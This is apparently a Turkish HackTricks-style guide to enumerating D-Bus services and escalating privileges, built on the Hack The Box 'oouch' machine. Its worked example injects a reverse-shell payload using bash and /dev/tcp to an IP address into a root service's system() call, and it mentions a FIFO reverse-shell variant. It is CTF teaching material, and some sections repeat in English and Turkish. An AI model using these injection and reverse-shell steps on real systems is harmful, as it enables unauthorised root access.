D-Bus Enumeration & Command Injection Privilege Escalation
GUI numaralandırma
D-Bus, Ubuntu masaüstü ortamlarında ara işlem iletişim (IPC) arabirimi olarak kullanılır. Ubuntu'da, birkaç mesaj otobüsünün eşzamanlı çalışması gözlemlenir: sistem otobüsü, sistem genelinde ilgili hizmetleri sunmak için ayrıcalıklı hizmetler tarafından kullanılan ve her oturum açmış kullanıcı için bir oturum otobüsü, yalnızca o belirli kullanıcıyla ilgili hizmetleri sunan. Buradaki odak noktası, ayrıcalıklarını yükseltmek amacıyla daha yüksek ayrıcalıklarda (örneğin, root) çalışan hizmetlerle ilişkili olan sistem otobüsüdür. D-Bus'ın mimarisi, her oturum otobüsü için bir 'yönlendirici' kullanır ve bu yönlendirici, istemcilerin iletişim kurmak istedikleri hizmete göre istemci mesajlarını uygun hizmetlere yönlendirmekten sorumludur.
D-Bus üzerindeki hizmetler, sundukları nesneler ve arayüzler tarafından tanımlanır. Nesneler, standart OOP dillerindeki sınıf örneklerine benzetilebilir ve her örnek, bir nesne yolu tarafından benzersiz bir şekilde tanımlanır. Bu yol, bir dosya sistemi yoluna benzer şekilde, hizmet tarafından sunulan her nesneyi benzersiz bir şekilde tanımlar. Araştırma amaçları için önemli bir arayüz, nesnenin desteklediği yöntemlerin, sinyallerin ve özelliklerin XML temsili olan org.freedesktop.DBus.Introspectable arayüzüdür. Bu yöntem, özellikler ve sinyalleri atlayarak, burada yöntemlere odaklanır.
D-Bus arabirimine iletişim için iki araç kullanıldı: D-Bus tarafından sunulan yöntemleri kolayca çağırmak için bir CLI aracı olan gdbus ve her otobüste mevcut olan hizmetleri numaralandırmak ve her hizmetin içerdiği nesneleri görüntülemek için tasarlanmış Python tabanlı bir GUI aracı olan D-Feet.
İlk resimde D-Bus sistem otobüsüne kaydedilen servisler gösterilmektedir ve özellikle Sistem Otobüsü düğmesi seçildikten sonra org.debin.apt vurgulanmaktadır. D-Feet bu servisi nesneler için sorgular ve seçilen nesneler için arabirimleri, yöntemleri, özellikleri ve sinyalleri görüntüler, ikinci resimde görüldüğü gibi. Her yöntemin imzası da detaylı olarak gösterilir.
Dikkate değer bir özellik, servisin işlem kimliği (pid) ve komut satırının görüntülenmesidir, bu da servisin yükseltilmiş ayrıcalıklarla çalışıp çalışmadığını doğrulamak için kullanışlıdır ve araştırma açısından önemlidir.
D-Feet ayrıca yöntem çağrısına izin verir: kullanıcılar parametre olarak Python ifadelerini girebilir ve D-Feet bu ifadeleri D-Bus türlerine dönüştürerek servise iletilir.
Ancak, bazı yöntemlerin çağrılabilmesi için kimlik doğrulaması gerekmektedir. İlk etapta kimlik bilgileri olmadan ayrıcalıkları yükseltmek amacımız olduğu için bu yöntemleri göz ardı edeceğiz.
Ayrıca, bazı servisler belirli eylemleri gerçekleştirmeye izin verilip verilmeyeceğini belirlemek için başka bir D-Bus servisi olan org.freedeskto.PolicyKit1'i sorgular.
Komut Satırı Sıralaması
Servis Nesnelerini Listeleme
Açık D-Bus arabirimlerini listelemek mümkündür:
Bağlantılar
Wikipedia'dan: Bir işlem bir otobüse bağlantı kurduğunda, otobüs bağlantıya benzersiz bağlantı adı adı verilen özel bir otobüs adı atar. Bu tür otobüs adları değişmezdir - bağlantı var olduğu sürece değişmeyeceği garanti edilir - ve daha da önemlisi, otobüs ömrü boyunca yeniden kullanılamazlar. Bu, aynı işlem otobüs bağlantısını kapatıp yeni bir bağlantı oluştursa bile, başka bir bağlantının bu tür benzersiz bağlantı adı atanmayacağı anlamına gelir. Benzersiz bağlantı adları kolayca tanınır çünkü—aksi takdirde yasak olan—iki nokta karakteriyle başlar.
Servis Nesne Bilgisi
Ardından, arayüz hakkında bazı bilgiler alabilirsiniz:
Bir Hizmet Nesnesinin Arayüzlerini Listeleme
Yeterli izinlere sahip olmanız gerekmektedir.
Bir Hizmet Nesnesinin Introspect Arayüzü
Bu örnekte, tree
parametresi kullanılarak en son keşfedilen arayüzün seçildiğine dikkat edin (önceki bölüme bakınız):
İzleme/Yakalama Arayüzü
Yeterli ayrıcalıklara sahipseniz (send_destination
ve receive_sender
ayrıcalıkları yeterli değildir), bir D-Bus iletişimini izleyebilirsiniz.
Bir iletişimi izlemek için root olmanız gerekmektedir. Hala root olma konusunda sorun yaşıyorsanız https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ ve https://wiki.ubuntu.com/DebuggingDBus adreslerine bakabilirsiniz.
Bir D-Bus yapılandırma dosyasını root olmayan kullanıcıların iletişimi dinlemesine izin verecek şekilde yapılandırmayı biliyorsanız, lütfen benimle iletişime geçin!
İzlemek için farklı yöntemler:
Aşağıdaki örnekte htb.oouch.Block
arayüzü izlenir ve yanlış iletişim yoluyla "lalalalal" mesajı gönderilir:
Sonuçları bir pcap dosyasında kaydetmek için monitor
yerine capture
kullanabilirsiniz.
Tüm gürültüyü filtreleme
Eğer otobüste çok fazla bilgi varsa, aşağıdaki gibi bir eşleşme kuralı geçin:
Birden çok kural belirtilebilir. Bir ileti, kurallardan herhangi birini karşılarsa, ileti yazdırılır. Aşağıdaki gibi:
Daha fazla bilgi için D-Bus belgelerine bakın.
Daha Fazla
busctl
daha fazla seçeneğe sahiptir, hepsini burada bulabilirsiniz.
Zayıf Senaryo
HTB'deki "oouch" ana bilgisayarı içindeki qtc kullanıcısı olarak, /etc/dbus-1/system.d/htb.oouch.Block.conf konumunda beklenmeyen bir D-Bus yapılandırma dosyası bulabilirsiniz:
Önceki yapılandırmadan not edin ki, bu D-BUS iletişimi aracılığıyla bilgi göndermek ve almak için root
veya www-data
kullanıcısı olmanız gerekecektir.
Docker konteyneri aeb4525789d8 içindeki qtc kullanıcısı olarak, /code/oouch/routes.py dosyasında bazı dbus ile ilgili kodları bulabilirsiniz. İlgili kodlar şunlardır:
Gördüğünüz gibi, bir D-Bus arabirimine bağlanıyor ve "Block" işlevine "client_ip" bilgisini gönderiyor.
D-Bus bağlantısının diğer tarafında çalışan derlenmiş bir C kodu bulunmaktadır. Bu kod, D-Bus bağlantısında IP adresini dinlemekte ve system
işlevi aracılığıyla iptables'i çağırmaktadır.
system
işlevine yapılan çağrı, komut enjeksiyonuna karşı kasten savunmasızdır, bu nedenle aşağıdaki gibi bir payload ters kabuk oluşturacaktır: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Sömürün
Bu sayfanın sonunda, D-Bus uygulamasının tam C kodunu bulabilirsiniz. İçinde, 91-97 satırları arasında D-Bus nesne yolu
ve arayüz adının
nasıl kaydedildiğini bulabilirsiniz. Bu bilgi, D-Bus bağlantısına bilgi göndermek için gereklidir:
Ayrıca, 57. satırda bu D-Bus iletişimi için kaydedilmiş tek yöntemin Block
adında olduğunu görebilirsiniz (Bu nedenle, aşağıdaki bölümde yükler hizmet nesnesine htb.oouch.Block
, arayüze /htb/oouch/Block
ve yöntem adına Block
gönderilecektir):
Python
Aşağıdaki python kodu, payload'ı Block
yöntemine D-Bus bağlantısı üzerinden gönderecektir (block_iface.Block(runme)
not edin ki bu, önceki kod parçasından çıkarılmıştır):
busctl ve dbus-send
busctl
and dbus-send
are command-line tools used for interacting with the D-Bus system. D-Bus is a message bus system that allows communication between different processes on a Linux system.
busctl
is used to introspect and control the D-Bus bus. It provides information about available services, objects, and interfaces on the bus. With busctl
, you can also send method calls and signals to D-Bus services.
dbus-send
is a utility for sending messages to a D-Bus message bus. It can be used to invoke methods on D-Bus objects and send signals. dbus-send
is particularly useful for testing and debugging D-Bus services.
Both busctl
and dbus-send
can be used for privilege escalation in certain scenarios. By exploiting vulnerabilities in D-Bus services or misconfigurations, an attacker can execute arbitrary commands with elevated privileges.
busctl ve dbus-send
busctl
ve dbus-send
, D-Bus sistemiyle etkileşimde kullanılan komut satırı araçlarıdır. D-Bus, bir Linux sisteminde farklı süreçler arasında iletişim sağlayan bir mesaj otobüsü sistemidir.
busctl
, D-Bus otobüsünü incelemek ve kontrol etmek için kullanılır. Otobüsteki mevcut hizmetler, nesneler ve arabirimler hakkında bilgi sağlar. busctl
ile D-Bus hizmetlerine yöntem çağrıları ve sinyaller gönderebilirsiniz.
dbus-send
, bir D-Bus mesaj otobüsüne mesaj göndermek için kullanılan bir yardımcı programdır. D-Bus nesnelerinde yöntem çağırmak ve sinyaller göndermek için kullanılabilir. dbus-send
, özellikle D-Bus hizmetlerini test etmek ve hata ayıklamak için kullanışlıdır.
busctl
ve dbus-send
, belirli senaryolarda ayrıcalık yükseltme için kullanılabilir. D-Bus hizmetlerindeki güvenlik açıklarını veya yanlış yapılandırmaları sömürerek, saldırganlar yükseltilmiş ayrıcalıklarla keyfi komutlar yürütebilirler.
dbus-send
, "Message Bus" adlı bir yazılıma mesaj göndermek için kullanılan bir araçtır.Message Bus, sistemler arasında iletişimi kolaylaştırmak için kullanılan bir yazılımdır. Mesaj Sırası (mesajlar sırayla düzenlenir) ile ilgilidir, ancak Message Bus'ta mesajlar abonelik modelinde gönderilir ve çok hızlıdır.
"-system" etiketi, varsayılan olarak bir oturum mesajı olmayan bir sistem mesajını belirtmek için kullanılır.
"-print-reply" etiketi, mesajımızı uygun şekilde yazdırmak ve insan tarafından okunabilir bir formatta herhangi bir yanıt almak için kullanılır.
"-dest=Dbus-Interface-Block", Dbus arayüzünün adresidir.
"-string:", arayüze göndermek istediğimiz mesajın türüdür. Mesaj gönderme formatlarının çeşitli biçimleri vardır, örneğin double, bytes, booleans, int, objpath. Bunların dışında, "object path" bir dosyanın yolunu Dbus arayüzüne göndermek istediğimizde kullanışlıdır. Bu durumda bir komutu dosya adı olarak arayüze iletmek için özel bir dosya (FIFO) kullanabiliriz. "string:;": Bu, FIFO ters kabuk dosya/komutunun yerini tekrar çağırmak için nesne yolunu çağırmak içindir.
Not olarak, htb.oouch.Block.Block
içindeki ilk bölüm (htb.oouch.Block
), hizmet nesnesine referans yaparken, son bölüm (.Block
), yöntem adına referans yapar.
C kodu
Referanslar
Last updated